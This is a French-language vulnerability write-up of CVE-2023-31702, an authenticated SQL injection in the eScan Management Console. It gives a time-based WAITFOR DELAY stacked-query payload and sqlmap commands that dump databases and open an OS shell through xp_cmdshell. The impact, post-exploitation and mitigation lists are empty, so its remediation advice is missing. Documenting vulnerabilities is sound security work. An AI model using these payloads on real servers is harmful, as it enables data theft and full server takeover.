
CVE-2023-31702 est une vulnérabilité d'injection SQL authentifiée découverte dans MicroWorld Technologies eScan Management Console version 14.0.1400.2281.
CVE-2023-31702 est une vulnérabilité d'injection SQL authentifiée découverte dans eScan Management Console version 14.0.1400.2281 de MicroWorld Technologies. La vulnérabilité se trouve dans le point d'accès GetUserCurrentPwd, où le paramètre UsrId est passé directement dans une requête SQL sans désinfection ni paramétrage appropriées. Un attaquant authentifié peut exploiter cette faille pour réaliser une injection SQL aveugle basée sur le temps, extraire l'intégralité de la base de données sous-jacente et finalement obtenir un shell de commande OS interactif sur le serveur Microsoft SQL Server sous-jacent — menant à une compromission complète du système.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2023-31702 |
| Type de vulnérabilité | Injection SQL (aveugle basée sur le temps / requêtes empilées) |
| Produit affecté | Console de gestion eScan de MicroWorld Technologies |
| Version affectée | 14.0.1400.2281 |
| Point d'accès vulnérable | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Paramètre vulnérable | UsrId |
| Authentification | Requise (identifiants valides de la console) |
| Testé sur | Windows |
| Score CVSS v3.1 | 8.8 (Élevé) |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Date de signalement | 16 mai 2023 |
| Auteur | Sahil Ojha |
| Champ | Détails |
|---|---|
| Éditeur | MicroWorld Technologies |
| Produit | Console de gestion eScan |
| Page d'accueil de l'éditeur | https://www.escanav.com |
| Lien du logiciel | https://cl.escanav.com/ewconsole.dll |
| Plateforme | Windows |
La console de gestion eScan fournit une interface web pour gérer la sécurité des terminaux sur le réseau d'une organisation. La fonctionnalité "Afficher le profil utilisateur" expose un point d'accès de type REST :
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<compteur>
Le paramètre UsrId est intégré dans une requête SQL back-end sans validation, échappement ni utilisation de requêtes paramétrées. Cela permet à un attaquant authentifié d'injecter des instructions SQL arbitraires dans la requête, entraînant :
WAITFOR DELAY pour confirmer l'exploitabilité.xp_cmdshell de SQL Server (activée via sp_configure) pour exécuter des commandes système arbitraires sur le serveur avec les privilèges du compte de service SQL Server.Une exploitation réussie de cette vulnérabilité permet à un attaquant de :
⚠️ Note : L'attaquant doit d'abord obtenir des identifiants valides pour la console de gestion eScan. Cependant, une fois authentifié, l'exploitation est simple et ne nécessite pas de privilèges élevés dans la console.
Après s'être authentifié sur la console de gestion eScan, naviguez vers l'URL suivante :
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Cela renvoie les données du profil utilisateur courant, confirmant que le point d'accès est accessible.

Injectez la charge utile de temporisation suivante dans le paramètre UsrId :
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Analyse de la charge utile :
; — termine l'instruction SQL d'origine et en commence une nouvelle (requête empilée).WAITFOR DELAY '0:0:5' — demande au serveur SQL de marquer une pause de 5 secondes avant de répondre.-- — commente le reste de la requête d'origine pour éviter les erreurs de syntaxe.Si la réponse du serveur est retardée d'environ 5 secondes, l'injection est confirmée.

Une fois l'injection SQL aveugle confirmée, la base de données complète peut être extraite à l'aide de SQLMap :
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Cela énumère toutes les bases de données hébergées sur le serveur SQL back-end.
SQLMap peut également escalader l'attaque vers une exécution de commandes au niveau OS en activant et en exploitant xp_cmdshell :
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Cela établit un shell OS interactif sur l'hôte SQL Server.

Une fois le shell OS établi, des commandes Windows arbitraires peuvent être exécutées sur le serveur :

Les mesures suivantes sont fortement recommandées pour corriger et atténuer cette vulnérabilité :